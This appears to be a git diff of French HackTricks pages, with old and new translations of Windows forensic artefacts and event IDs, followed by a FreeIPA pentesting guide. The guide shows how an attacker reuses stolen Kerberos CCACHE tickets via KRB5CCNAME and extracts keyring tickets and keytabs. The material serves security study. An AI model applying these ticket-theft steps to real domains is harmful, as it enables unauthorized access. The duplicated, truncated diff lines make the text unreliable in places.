```bash
@ -220,23 +354,23 @@ Vous pouvez obtenir les données de ce fichier en utilisant l'outil [**srum\_dum
```
### AppCompatCache (ShimCache)
Le **Shimcache**, également connu sous le nom de **AppCompatCache**, est un composant de la **base de données de compatibilité des applications**, créée par **Microsoft** et utilisée par le système d'exploitation pour identifier les problèmes de compatibilité des applications.
**Shimcache**, également connu sous le nom de **AppCompatCache**, est un composant de la **Base de données de compatibilité des applications**, créée par **Microsoft** et utilisée par le système d'exploitation pour identifier les problèmes de compatibilité des applications.
Le cache stocke diverses métadonnées de fichiers en fonction du système d'exploitation, telles que:
Le cache stocke divers métadonnées de fichier en fonction du système d'exploitation, telles que :
* Chemin complet du fichier
* Taille du fichier
* **$Standard\_Information** (SI) Heure de dernière modification
* Heure de dernière modification **$Standard\_Information** (SI)
* Heure de dernière mise à jour du ShimCache
* Indicateur d'exécution de processus
* Indicateur d'exécution du processus
Ces informations peuvent être trouvées dans le registre à:
Ces informations peuvent être trouvées dans le registre à :
* `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`
* XP (96 entrées)
* XP (96 entrées)
* `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`
* Server 2003 (512 entrées)
* 2008/2012/2016 Win7/Win8/Win10 (1024 entrées)
* Server 2003 (512 entrées)
* 2008/2012/2016 Win7/Win8/Win10 (1024 entrées)
Vous pouvez utiliser l'outil [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) pour analyser ces informations.
@ -246,13 +380,14 @@ Vous pouvez utiliser l'outil [**AppCompatCacheParser**](https://github.com/EricZ
Le fichier **Amcache.hve** est un fichier de registre qui stocke les informations des applications exécutées. Il est situé dans `C:\Windows\AppCompat\Programas\Amcache.hve`
**Amcache.hve** enregistre les processus récents qui ont été exécutés et liste le chemin des fichiers qui sont exécutés, ce qui peut ensuite être utilisé pour trouver le programme exécuté. Il enregistre également le SHA1 du programme.
**Amcache.hve** enregistre les processus récents qui ont été exécutés et liste le chemin des fichiers exécutés, ce qui peut ensuite être utilisé pour trouver le programme exécuté. Il enregistre également le SHA1 du programme.
Vous pouvez analyser ces informations avec l'outil [**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser)
```bash
AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student\Desktop\srum
```
Le fichier CVS le plus intéressant généré est le fichier `Amcache_Unassociated file entries`.
```markdown
Le fichier CVS le plus intéressant généré est `Amcache_Unassociated file entries`.
### RecentFileCache
@ -262,7 +397,7 @@ Vous pouvez utiliser l'outil [**RecentFileCacheParse**](https://github.com/EricZ
### Tâches planifiées
Vous pouvez les extraire de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` et les lire en tant que XML.
Vous pouvez les extraire de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` et les lire comme XML.
### Services
@ -271,9 +406,9 @@ Vous pouvez les trouver dans le registre sous `SYSTEM\ControlSet001\Services`. V
### **Windows Store**
Les applications installées peuvent être trouvées dans `\ProgramData\Microsoft\Windows\AppRepository\`\
Ce référentiel a un **journal** avec **chaque application installée** dans le système à l'intérieur de la base de données **`StateRepository-Machine.srd`**.
Ce répertoire a un **log** avec **chaque application installée** dans le système à l'intérieur de la base de données **`StateRepository-Machine.srd`**.
Dans la table Application de cette base de données, il est possible de trouver les colonnes : "Application ID", "PackageNumber" et "Display Name". Ces colonnes contiennent des informations sur les applications préinstallées et installées et il est possible de savoir si certaines applications ont été désinstallées car les ID des applications installées doivent être séquentiels.
À l'intérieur de la table des applications de cette base de données, il est possible de trouver les colonnes : "Application ID", "PackageNumber" et "Display Name". Ces colonnes ont des informations sur les applications pré-installées et installées et on peut savoir si certaines applications ont été désinstallées car les ID des applications installées devraient être séquentiels.
Il est également possible de **trouver des applications installées** dans le chemin du registre : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Et des **applications désinstallées** dans : `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
@ -286,19 +421,19 @@ Les informations qui apparaissent dans les événements Windows sont :
* Horodatage (UTC + 0)
* Utilisateurs impliqués
* Hôtes impliqués (nom d'hôte, IP)
* Actifs accessibles (fichiers, dossiers, imprimantes, services)
* Actifs accédés (fichiers, dossiers, imprimantes, services)
Les journaux sont situés dans `C:\Windows\System32\config` avant Windows Vista et dans `C:\Windows\System32\winevt\Logs` après Windows Vista. Avant Windows Vista, les journaux d'événements étaient au format binaire et après, ils sont au format **XML** et utilisent l'extension **.evtx**.
Les journaux sont situés dans `C:\Windows\System32\config` avant Windows Vista et dans `C:\Windows\System32\winevt\Logs` après Windows Vista. Avant Windows Vista, les journaux d'événements étaient au format binaire et après, ils sont au **format XML** et utilisent l'extension **.evtx**.
L'emplacement des fichiers d'événements peut être trouvé dans le registre SYSTEM dans **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
L'emplacement des fichiers d'événements peut être trouvé dans le registre SYSTEM sous **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Ils peuvent être visualisés à partir de l'Observateur d'événements Windows (**`eventvwr.msc`**) ou avec d'autres outils comme [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
Ils peuvent être visualisés depuis la Visionneuse d'événements Windows (**`eventvwr.msc`**) ou avec d'autres outils comme [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
### Sécurité
Cela enregistre les événements d'accès et donne des informations sur la configuration de sécurité qui peut être trouvée dans `C:\Windows\System32\winevt\Security.evtx`.
Cela enregistre les événements d'accès et donne des informations sur la configuration de sécurité qui peuvent être trouvées dans `C:\Windows\System32\winevt\Security.evtx`.
La **taille maximale** du fichier d'événements est configurable et il commencera à écraser les anciens événements lorsque la taille maximale est atteinte.
La **taille maximale** du fichier d'événement est configurable, et il commencera à écraser les anciens événements lorsque la taille maximale est atteinte.
Les événements qui sont enregistrés comme :
@ -313,43 +448,45 @@ Les événements qui sont enregistrés comme :
| --------- | ---------------------------- |
| 4624 | Authentification réussie |
| 4625 | Erreur d'authentification |
| 4634/4647 | Déconnexion |
| 4672 | Connexion avec des autorisations d'administrateur |
| 4634/4647 | déconnexion |
| 4672 | Connexion avec des permissions admin |
À l'intérieur de l'EventID 4634/4647, il y a des sous-types intéressants :
* **2 (interactif)** : La connexion était interactive en utilisant le clavier ou un logiciel comme VNC ou `PSexec -U-`
* **2 (interactif)** : La connexion était interactive en utilisant le clavier ou des logiciels comme VNC ou `PSexec -U-`
* **3 (réseau)** : Connexion à un dossier partagé
* **4 (lot)** : Processus exécuté
* **5 (service)** : Service démarré par le Gestionnaire de contrôle des services
* **4 (Batch)** : Processus exécuté
* **5 (service)** : Service démarré par le Gestionnaire de contrôle de service
* **6 (proxy)** : Connexion proxy
* **7 (déverrouillage)** : Écran déverrouillé en utilisant un mot de passe
* **8 (texte clair réseau)** : Utilisateur authentifié en envoyant des mots de passe en clair. Cet événement venait de l'IIS
* **7 (Déverrouillage)** : Écran débloqué en utilisant un mot de passe
* **8 (texte clair réseau)** : Utilisateur authentifié en envoyant des mots de passe en texte clair. Cet événement provenait généralement de l'IIS
* **9 (nouvelles informations d'identification)** : Il est généré lorsque la commande `RunAs` est utilisée ou que l'utilisateur accède à un service réseau avec des informations d'identification différentes.
* **10 (interactif à distance)** : Authentification via Terminal Services ou RDP
* **11 (cache interactif)** : Accès en utilisant les dernières informations d'identification mises en cache car il n'a pas été possible de contacter le contrôleur de domaine
* **10 (interactif à distance)** : Authentification via les Services de Terminal ou RDP
* **11 (cache interactif)** : Accès en utilisant les dernières informations d'identification mises en cache car il n'était pas possible de contacter le contrôleur de domaine
* **12 (cache interactif à distance)** : Connexion à distance avec des informations d'identification mises en cache (une combinaison de 10 et 11).
* **13 (déverrouillage mis en cache)** : Déverrouiller une machine verrouillée avec des informations d'identification mises en cache.
* **13 (déverrouillage en cache)** : Déverrouillage d'une machine verrouillée avec des informations d'identification mises en cache.
Dans ce post, vous pouvez trouver comment imiter tous ces types de connexion et dans lesquels vous pourrez extraire les informations d'identification de la mémoire : [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)
Dans cet article, vous pouvez trouver comment imiter tous ces types de connexion et dans lesquels vous pourrez extraire des informations d'identification de la mémoire : [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)
Les informations d'état et de sous-état des événements peuvent indiquer plus de détails sur les causes de l'événement. Par exemple, jetez un coup d'œil aux codes d'état et de sous-état suivants de l'ID d'événement 4625 :
Les informations de statut et de sous-statut des événements peuvent indiquer plus de détails sur les causes de l'événement. Par exemple, regardez les codes de statut et de sous-statut suivants de l'Event ID 4625 :
![](<../../../.gitbook/assets/image (455).png>)
### Récupération des événements Windows
Il est fortement recommandé d'éteindre l'ordinateur suspect en le **débranchant** pour maximiser la probabilité de récupération des événements Windows. Dans le cas où ils ont été supprimés, un outil qui peut être utile pour essayer de les récupérer est [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) en indiquant l'extension **evtx**.
Il est fortement recommandé d'éteindre le PC suspect en le **débranchant** pour maximiser la probabilité de récupérer les événements Windows. Dans le cas où ils auraient été supprimés, un outil qui peut être utile pour essayer de les récupérer est [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) en indiquant l'extension **evtx**.
## Identification des attaques courantes avec les événements Windows
* [https://redteamrecipe.com/event-codes/](https://redteamrecipe.com/event-codes/)
### Attaque par force brute
Une attaque par force brute peut être facilement identifiable car **plusieurs EventIDs 4625 apparaîtront**. Si l'attaque a été **réussie**, après les EventIDs 4625, **un EventID 4624 apparaîtra**.
Une attaque par force brute peut être facilement identifiable car **plusieurs EventIDs 4625 apparaîtront**. Si l'attaque était **réussie**, après les EventIDs 4625, **un EventID 4624 apparaîtra**.
### Changement de temps
### Changement d'heure
C'est terrible pour l'équipe de forensique car tous les horodatages seront modifiés. Cet événement est enregistré par l'EventID 4616 dans le journal d'événements de sécurité.
C'est terrible pour l'équipe de la forensique car tous les horodatages seront modifiés. Cet événement est enregistré par l'EventID 4616 dans le journal des événements de sécurité.
### Périphériques USB
@ -360,16 +497,23 @@ Les EventIDs système suivants sont utiles :
L'EventID 112 de DeviceSetupManager contient l'horodatage de chaque périphérique USB inséré.
### Allumage / Extinction
### Extinction / Allumage
L'ID 6005 du service "Journal des événements" indique que l'ordinateur a été allumé. L'ID 6006 indique qu'il a été éteint.
L'ID 6005 du service "Event Log" indique que le PC a été allumé. L'ID 6006 indique qu'il a été éteint.
### Suppression des journaux
L'EventID de sécurité 1102 indique que les journaux ont été supprimés.
L'EventID 1102 de sécurité indique que les journaux ont été supprimés.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annon
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```

195
linux-hardening/freeipa-pentesting.md
View file

@ -4,15 +4,15 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Ces informations ont été prises à partir des publications suivantes :
Cette information a été prise des posts :
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
@ -20,35 +20,35 @@ Ces informations ont été prises à partir des publications suivantes :
## Informations de base
Il s'agit d'une **alternative** open source à Microsoft Windows **Active Directory**, principalement utilisée comme solution de gestion intégrée pour les environnements **Unix**. Tout comme Active Directory, FreeIPA implémente une infrastructure de **répertoire LDAP** complète soutenue par un centre de distribution de clés MIT **Kerberos**. Il utilise le système de certificats Dogtag pour la gestion des certificats CA & RA, ce qui lui permet de gérer l'authentification **multi-facteurs**, y compris les cartes à puce. SSSD est utilisé pour intégrer FreeIPA dans le processus d'authentification Unix standard.
C'est une **alternative** open source à Microsoft Windows **Active Directory**, principalement utilisée comme solution de gestion intégrée pour les environnements **Unix**. Semblable à Active Directory, FreeIPA implémente une infrastructure complète d'**annuaire LDAP** soutenue par un MIT **Kerberos** Key Distribution Center. Il utilise le **Certificate System** Dogtag pour la gestion des certificats CA & RA, lui donnant la capacité de gérer l'authentification **multi-facteurs**, y compris les cartes à puce. SSSD est utilisé pour intégrer FreeIPA dans le processus d'authentification Unix standard.
## Empreintes digitales
## Empreintes
### Fichiers et variables d'environnement
### Fichiers & Variables d'Environnement
* **`/etc/krb5.conf` :** Le fichier `krb5.conf` contient les informations du client Kerberos requises pour être **inscrit dans le domaine**. Cela inclut les **emplacements des KDC et des serveurs d'administration** pour les royaumes Kerberos d'intérêt, les valeurs par défaut pour le royaume actuel et pour les applications Kerberos, et les mappages des noms d'hôtes sur les royaumes Kerberos.
* **`/etc/ipa/default.conf` :** Il s'agit du **fichier de configuration par défaut pour les serveurs IPA**, il est utilisé pour définir les valeurs par défaut à appliquer lors de l'exécution des clients et des serveurs IPA.
* **`/etc/krb5.keytab` :** Le fichier `krb5.keytab` est **obligatoire** sur tous les hôtes à l'intérieur du **domaine**. Il est requis dans le cadre du processus d'**authentification** au KDC.
* **`KRB5CCNAME` :** S'il est défini, cette variable pointe vers l'**emplacement du fichier CCACHE Ticket** à utiliser pour l'authentification.
* **`KRB5_KTNAME` :** S'il est défini, cette variable pointe vers l'**emplacement** du **fichier Keytab** à utiliser pour l'authentification.
* **`KRB5_CONFIG` :** S'il est défini, cette variable pointe vers l'**emplacement** du **fichier de configuration Kerberos**.
* **`KRB5_KDC_PROFILE` :** S'il est défini, cette variable pointe vers l'**emplacement de la configuration KDC**, qui contient des directives de configuration supplémentaires pour le démon Key Distribution Center.
* **`KRB5RCACHETYPE` :** Cette variable spécifie le **type par défaut de cache de rejeu** à utiliser pour les serveurs.
* **`KRB5RCACHEDIR` :** Cette variable spécifie le **répertoire par défaut pour les caches de rejeu** utilisés par les serveurs.
* **`KRB5_TRACE` :** Cette variable spécifie un **nom de fichier pour écrire la sortie de journal de trace**. Les journaux de trace peuvent aider à éclairer les décisions prises en interne par les bibliothèques Kerberos.
* **`KRB5_CLIENT_KTNAME` :** Cette variable définit le **nom de fichier par défaut du client keytab**.
* **`/etc/krb5.conf` :** Le fichier `krb5.conf` contient les informations du client Kerberos nécessaires pour être **inscrit dans le domaine**. Cela inclut les **emplacements des KDCs et des serveurs admin** pour les royaumes Kerberos d'intérêt, les valeurs par défaut pour le royaume actuel et pour les applications Kerberos, et les mappages des noms d'hôtes sur les royaumes Kerberos.
* **`/etc/ipa/default.conf` :** C'est le **fichier de configuration par défaut pour les serveurs IPA**, il est utilisé pour définir les valeurs par défaut du système à appliquer lors de l'exécution des clients et serveurs IPA.
* **`/etc/krb5.keytab` :** Le fichier `krb5.keytab` est **requis** sur tous les hôtes à l'intérieur du **domaine**. Il est nécessaire dans le cadre du processus d'**authentification** au KDC.
* **`KRB5CCNAME` :** Si défini, cette variable indique l'**emplacement du Ticket CCACHE** à utiliser pour l'authentification.
* **`KRB5_KTNAME` :** Si défini, cette variable indique l'**emplacement** du fichier **Keytab** à utiliser pour l'authentification.
* **`KRB5_CONFIG` :** Si défini, cette variable indique l'**emplacement** du fichier de **configuration Kerberos**.
* **`KRB5_KDC_PROFILE` :** Si défini, cette variable indique l'**emplacement du fichier de configuration KDC**, qui contient des directives de configuration supplémentaires pour le démon du Key Distribution Center.
* **`KRB5RCACHETYPE` :** Cette variable spécifie le **type de cache de relecture par défaut** à utiliser pour les serveurs.
* **`KRB5RCACHEDIR` :** Cette variable spécifie le **répertoire par défaut pour les caches de relecture** utilisés par les serveurs.
* **`KRB5_TRACE` :** Cette variable spécifie un **nom de fichier pour écrire la sortie du journal de trace**. Les journaux de trace peuvent aider à éclairer les décisions prises en interne par les bibliothèques Kerberos.
* **`KRB5_CLIENT_KTNAME` :** Cette variable définit le nom de fichier **keytab client par défaut**.
* **`KPROP_PORT` :** Cette variable définit le **port par défaut pour kprop** à utiliser.
### Binaires
* **ipa :** Ce binaire est la norme pour **gérer un domaine FreeIPA**. Il peut être utilisé pour gérer des hôtes, des utilisateurs, des règles sudo, et bien plus encore.
* **kdestroy :** Le binaire kdestroy est utilisé pour **détruire** tous les **tickets Kerberos actuels** dans la session de l'utilisateur.
* **kinit :** Le binaire kinit est utilisé pour **établir** ou **renouveler** les **tickets Kerberos**.
* **klist :** Le binaire klist **liste** tous les **tickets Kerberos actuels en cours d'utilisation**, et les principaux auxquels les tickets donnent accès.
* **kpasswd :** La commande kpasswd est utilisée pour **changer le mot de passe d'un principal Kerberos**. kpasswd demande d'abord le mot de passe Kerberos actuel, puis demande deux fois à l'utilisateur le nouveau mot de passe, et le mot de passe est changé.
* **ksu :** Ksu peut être utilisé comme **alternative au binaire su**, pour basculer le **contexte utilisateur actuel**.
* **kswitch :** La commande kswitch **basculera** le **cache de crédential actuel en cours d'utilisation**.
* **kvno :** Le binaire kvno acquiert un **ticket de service** pour les **principaux Kerberos spécifiés** et affiche les numéros de version de clé de chacun.
* **kdestroy :** Le binaire kdestroy est utilisé pour **détruire** tout **ticket Kerberos** actuel dans la session de l'utilisateur.
* **kinit :** Le binaire kinit est utilisé pour **établir**, ou **renouveler** des **tickets Kerberos**.
* **klist :** Le binaire klist **liste** tout **ticket Kerberos en cours d'utilisation**, et quels principaux les tickets donnent accès.
* **kpasswd :** La commande kpasswd est utilisée pour **changer le mot de passe d'un principal Kerberos**. kpasswd demande d'abord le mot de passe Kerberos actuel, puis invite l'utilisateur deux fois pour le nouveau mot de passe, et le mot de passe est changé.
* **ksu :** Ksu peut être utilisé comme une **alternative au binaire su**, pour changer le **contexte utilisateur actuel**.
* **kswitch :** La commande kswitch va **changer** le **cache d'identification en cours d'utilisation**.
* **kvno :** Le binaire kvno acquiert un **ticket de service** pour les **principaux Kerberos spécifiés** et imprime les numéros de version des clés de chacun.
### Réseau
@ -58,59 +58,53 @@ Voici à quoi pourrait ressembler un serveur FreeIPA :
## Authentification
Étant donné que FreeIPA utilise **Kerberos pour l'authentification**, ce processus est très similaire à l'**authentification** dans **Active Directory**. Pour **accéder** aux ressources du domaine, un utilisateur doit avoir un **ticket Kerberos valide** pour cette ressource. Ces tickets peuvent être stockés dans un certain nombre d'emplacements différents en fonction de la configuration du domaine FreeIPA.
Puisque FreeIPA utilise **Kerberos pour l'authentification**, ce processus est très similaire à l'**authentification** dans **Active Directory**. Pour **accéder** aux ressources sur le domaine, un utilisateur doit avoir un **ticket Kerberos valide** pour cette ressource. Ces tickets peuvent être stockés dans différents emplacements en fonction de la configuration du domaine FreeIPA.
### Fichiers de tickets CCACHE
### **Fichiers Ticket CCACHE**
Lorsque les tickets sont définis pour être **stockés** sous forme de **fichier** sur **disque**, le format et le type standard est un fichier **CCACHE**. Il s'agit d'un format de fichier binaire simple pour stocker les informations d'identification Kerberos. Ces fichiers sont généralement stockés dans **`/tmp`** et sont limités par des permissions **600**. Du point de vue d'un attaquant, cela est important pour les raisons suivantes :
Lorsque les tickets sont configurés pour être **stockés** sous forme de **fichier** sur **disque**, le format et le type standard est un fichier **CCACHE**. Il s'agit d'un format de fichier binaire simple pour stocker les informations d'identification Kerberos. Ces fichiers sont généralement stockés dans **`/tmp`** et ont des permissions **600**. Du point de vue d'un attaquant, cela est important pour les raisons suivantes :
1. Les tickets valides peuvent être **utilisés pour l'authentification**, **sans** avoir besoin du **mot de passe** en texte clair des utilisateurs respectifs.
2. Les tickets **CCACHE** sont hautement **portables**. Ils peuvent être télécharg
1. Les tickets valides peuvent être **utilisés pour s'authentifier**, **sans** avoir besoin du **mot de passe en clair** de l'utilisateur respectif.
2. Les tickets **CCACHE** sont très **portables**. Ils peuvent être téléchargés et chargés sur un autre hôte sans avoir besoin de renouveler ou de valider le ticket.
**Analyser** un Ticket CCACHE est facilement réalisable de différentes manières. La méthode la plus simple est de l'analyser avec le binaire klist.
```
klist /tmp/krb5cc_0
```
<figure><img src="../.gitbook/assets/image (70).png" alt=""><figcaption></figcaption></figure>
Pour un attaquant, il est très facile de **réutiliser** un ticket CCACHE valide. Pour **réutiliser** un ticket CCACHE valide, **exportez** **KRB5CCNAME** vers le **chemin** du fichier de ticket valide. Le système devrait reconnaître la variable d'environnement et tentera d'utiliser ce matériel d'identification lors de l'interaction avec le domaine.
```markdown
Pour un attaquant, réutiliser un Ticket CCACHE est très facile. Pour **réutiliser** un Ticket CCACHE valide, **exportez** **KRB5CCNAME** vers le **chemin** du fichier de ticket valide. Le système devrait reconnaître la variable d'environnement et tentera d'utiliser ce matériel d'identification lors de l'interaction avec le domaine.
```
```bash
export KRB5CCNAME=/tmp/krb5cc_0
klist
```
<figure><img src="../.gitbook/assets/image (175).png" alt=""><figcaption></figcaption></figure>
### **Trousseau de clés Unix**
### **Unix Keyring**
Les tickets CCACHE peuvent également être **stockés** dans le **trousseau de clés** Linux. Le trousseau de clés réside dans le **noyau**, et donne aux administrateurs **plus de contrôle sur la récupération et l'utilisation des tickets stockés**. Les tickets peuvent être délimités de différentes manières :
Les tickets CCACHE peuvent également être **stockés** dans le **keyring** Linux. Le keyring vit à l'intérieur du **noyau** et donne aux administrateurs **plus de contrôle sur la récupération et l'utilisation des tickets stockés**. Les tickets peuvent être délimités de différentes manières :
* **`KEYRING:name` :** Les tickets sont délimités à un keyring nommé spécifique.
* **`KEYRING:name` :** Les tickets sont délimités à un trousseau de clés nommé spécifique.
* **`KEYRING:process:name` :** Les tickets sont délimités à un identifiant de processus spécifique.
* **`KEYRING:thread:name` :** Les tickets sont délimités à un thread spécifique.
* **`KEYRING:thread:name` :** Les tickets sont délimités à un fil d'exécution spécifique.
* **`KEYRING:session:name` :** Les tickets sont délimités à une session utilisateur spécifique.
* **`KEYRING:persistent:uidnumber` :** Les tickets sont délimités à un utilisateur spécifique indépendamment de la session (par défaut).
Selon la manière dont l'administrateur a délimité le ticket stocké dans le keyring Unix, son analyse peut être difficile. Cependant, la **portée** **par défaut** pour les tickets CCACHE dans le keyring Unix est **`KEYRING:persistent:uidnumber`**. Heureusement, si vous êtes dans le **contexte** de l'**utilisateur**, `klist` peut **analyser** ces informations pour nous.
Selon la manière dont l'administrateur a délimité le ticket stocké dans le trousseau de clés Unix, l'extraction peut être difficile. Cependant, la **portée par défaut** pour les tickets CCACHE dans le trousseau de clés Unix est **`KEYRING:persistent:uidnumber`**. Heureusement, si vous êtes dans le **contexte** de l'**utilisateur**, `klist` peut **analyser** cette information pour nous.
<figure><img src="../.gitbook/assets/image (3) (1) (4).png" alt=""><figcaption></figcaption></figure>
En tant qu'attaquant, **réutiliser un ticket CCACHE** stocké dans le **keyring** Unix est assez **difficile** selon la manière dont le ticket est délimité. Heureusement, [@Zer1t0](https://github.com/Zer1t0) de [@Tarlogic](https://twitter.com/Tarlogic) a créé un outil qui peut extraire les tickets Kerberos du keyring Unix. L'outil s'appelle **Tickey** et peut être trouvé [**ici**](https://github.com/TarlogicSecurity/tickey).
<figure><img src="../.gitbook/assets/image (185).png" alt=""><figcaption></figcaption></figure>
En tant qu'attaquant, **réutiliser un ticket CCACHE** stocké dans le trousseau de clés Unix est assez **difficile** selon la portée du ticket. Heureusement, [@Zer1t0](https://github.com/Zer1t0) de [@Tarlogic](https://twitter.com/Tarlogic) a développé un outil qui peut extraire les tickets Kerberos du trousseau de clés Unix. L'outil s'appelle **Tickey** et peut être trouvé [**ici**](https://github.com/TarlogicSecurity/tickey).
### Keytab <a href="#ff38" id="ff38"></a>
{% hint style="warning" %}
Généralement, chaque hôte est déployé avec une clé d'identification keytab pour cet hôte qui peut être utilisée pour obtenir un ticket de validation de ticket (TGT) de cache de crédential valide pour l'hôte lui-même.
habituellement, chaque hôte est déployé avec des informations d'identification keytab pour cet hôte qui peuvent être utilisées pour obtenir un Ticket Granting Ticket (TGT) CCACHE valide pour l'hôte lui-même.
{% endhint %}
Il se compose de paires de **principaux Kerberos et de clés chiffrées** qui sont dérivées du mot de passe Kerberos associé au principal. Étant donné que ces clés sont dérivées du mot de passe du principal, si ce **mot de passe change, la keytab sera invalidée**.
Il se compose de paires de **principaux Kerberos et de clés chiffrées** qui sont dérivées du mot de passe Kerberos associé au principal. Étant donné que ces clés sont dérivées du mot de passe du principal, si ce **mot de passe change, le fichier keytab sera invalidé**.
Les fichiers Keytab peuvent être utilisés pour **obtenir un ticket de validation de ticket** (TGT) pour le principal auquel il est délimité. Ce processus d'authentification **ne nécessite pas le mot de passe**, car il contient des clés dérivées du mot de passe.
Les fichiers keytab peuvent être utilisés pour **obtenir un ticket granting ticket** (TGT) valide pour le principal auquel il est délimité. Ce processus d'authentification **ne nécessite pas le mot de passe**, car il contient des clés dérivées du mot de passe.
L'analyse d'un fichier Keytab est très facile et peut être accomplie de quelques manières. La manière la plus facile de **décoder** un fichier **keytab** est avec **klist**. La deuxième méthode utilise un excellent utilitaire Python que [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) a créé. Son projet \*\*\*\* [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) \*\*\*\* analysera le principal et ses clés chiffrées pertinentes.
